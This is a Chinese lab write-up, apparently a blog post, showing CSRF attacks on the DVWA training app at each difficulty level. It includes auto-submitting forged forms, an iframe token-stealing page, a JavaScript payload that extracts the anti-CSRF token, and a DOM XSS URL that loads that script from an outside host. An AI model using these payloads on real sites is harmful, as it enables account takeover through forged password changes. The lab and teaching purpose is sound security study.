DVWA---跨站请求伪造CSRF

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

攻击账户:1337

目标账户:admin

难度(low)

从源代码可以看出这里只是对用户输入的两个密码进行判断,看是否相等。不相等就提示密码不匹配。

相等的话,查看有没有设置数据库连接的全局变量和其是否为一个对象。如果是的话,用mysqli_real_escape_string()函数去转义一些字符,如果不是的话输出错误。

是同一个对象的话,再用md5进行加密,再更新数据库。

知道了这些之后,1337修改密码,抓包

生成csrf Poc放到自己的网站上

为了不被轻易辨别,将网站URL生成短网址

利用社工使目标用户admin访问该网址

 admin在登陆状态下访问了该网址,admin密码被更改

  

难度(middle)

中等级别的代码增加了 referer 判断:Php

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

如果 HTTP_REFERER 和 SERVER_NAME 不是来自同一个域的话就无法进行到循环内部,执行修改密码的操作。这个时候需要我们手动伪造 referer 来执行 CSRF 攻击:

不在一个域时

当然受害者肯定不会帮我们手动添加 referer 的,因为代码使用了 stripos 函数来检测 referer,所以这个时候我们得精心构造好一个 html 页面表单:Html

<html>
<head>
    <meta charset="utf-8">
    <title>CSRF</title>
</head>
<body>
 
<form method="get" id="csrf" action="http://127.0.0.1:8888/vulnerabilities/csrf/">
    <input type="hidden" name="password_new" value="123">
    <input type="hidden" name="password_conf" value="123">
    <input type="hidden" name="Change" value="Change">
</form>
<script> document.forms["csrf"].submit(); </script>
</body>
</html>

绕过Referer方法

1. 目录混淆 referer
将上述 html 页面放到服务器的 dvwa.com 目录下,然后让用户访问自动触发提交然后访问构造好的 payload 地址:Payload

 可以看到,修改成功

2. 文件名混淆referer

http://exp.com/123/dvwa.com.html

3. ?拼接混淆referer
因为 ? 后默认当做参数传递,这里因为 html 页面是不能接受参数的,所以随便输入是不影响实际的结果的,利用这个特点来绕过 referer 的检测。

http://exp.com/123/csrf.com?dvwa.com

都不能成功,有哪位大神解答一下啊啊啊

referer一直显示http://exp.com

难度(high)

high级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。

因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie,去修改密码的页面,获取关键的token。

1. 常规思路 HTML 发起 CSRF 请求

试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击。代码如下:

<html>
<script type="text/javascript">
    function attack()
  {
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  document.getElementById("transfer").submit(); 
  }
</script>
 
<iframe src="http://dvwa.com/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
 
<body onload="attack()">
  <form method="GET" id="transfer" action="http://dvwa.com/vulnerabilities/csrf">
   <input type="hidden" name="password_new" value="password">
    <input type="hidden" name="password_conf" value="password">
   <input type="hidden" name="user_token" value="">
  <input type="hidden" name="Change" value="Change">
   </form>
</body>
</html>

在同一个域下可以执行

跨域,指的是浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的,是浏览器施加的安全限制。

攻击思路:当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

注:实际操作上存在跨域问题,浏览器是不允许跨域请求的。

举例说明:我们的框架iframe访问的地址是http://dvwa.com/vulnerabilities/csrf,位于服务器dvwa(域名A)上,而我们的攻击页面位于黑客服务器另一个ip地址(域名B)上.

两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于跨域是不能实现的,所以我们要将攻击代码注入到dvwa.com所在服务器中,才有可能完成攻击。

可以利用High级别的XSS漏洞协助获取Anti-CSRF token

XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token即可。

2. JS 发起 HTTP CSRF 请求

// 首先访问这个页面 来获取 token
var tokenUrl = 'http://127.0.0.1:8888/vulnerabilities/csrf/';
 
if(window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
}else{
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
 
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
    if(xmlhttp.readyState ==4 && xmlhttp.status==200)
    {
          // 使用正则提取 token
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        var token = match[1];
          // 发起 CSRF 请求 将 token 带入
        var new_url = 'http://127.0.0.1:8888/vulnerabilities/csrf/?user_token='+token+'&password_new=111&password_conf=111&Change=Change';
        if(count==0){
            count++;
            xmlhttp.open("GET",new_url,false);
            xmlhttp.send();
        }
    }
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();

将这个 js 文件上传到外网的服务器上,这里临时放在我的网站目录下:Payload 

http://exp.com/csrf.js

然后此时访问 DVWA DOM XSS 的 High 级别,直接发起 XSS 测试(后面 XSS 会详细来讲解):Javascript 

http://dvwa.com/vulnerabilities/xss_d/?default=English&a=</option></select><script src="http://exp.com/csrf.js"></script>

 尝试登录,密码修改成功!!!

难度(Impossible)

# 依然检验用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
# 需要输入当前的密码
$pass_curr = $_GET[ 'password_current' ];
$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
 
# 检验当前密码是否正确
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );

这里相对于 High 级别主要就是增加了输入当前密码的选项,这个在实战中还是一种比较主流的防护方式,攻击者不知道原始密码的情况下是无法发起 CSRF 攻击的,另外常见的防护方法还有加验证码来防护。 

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值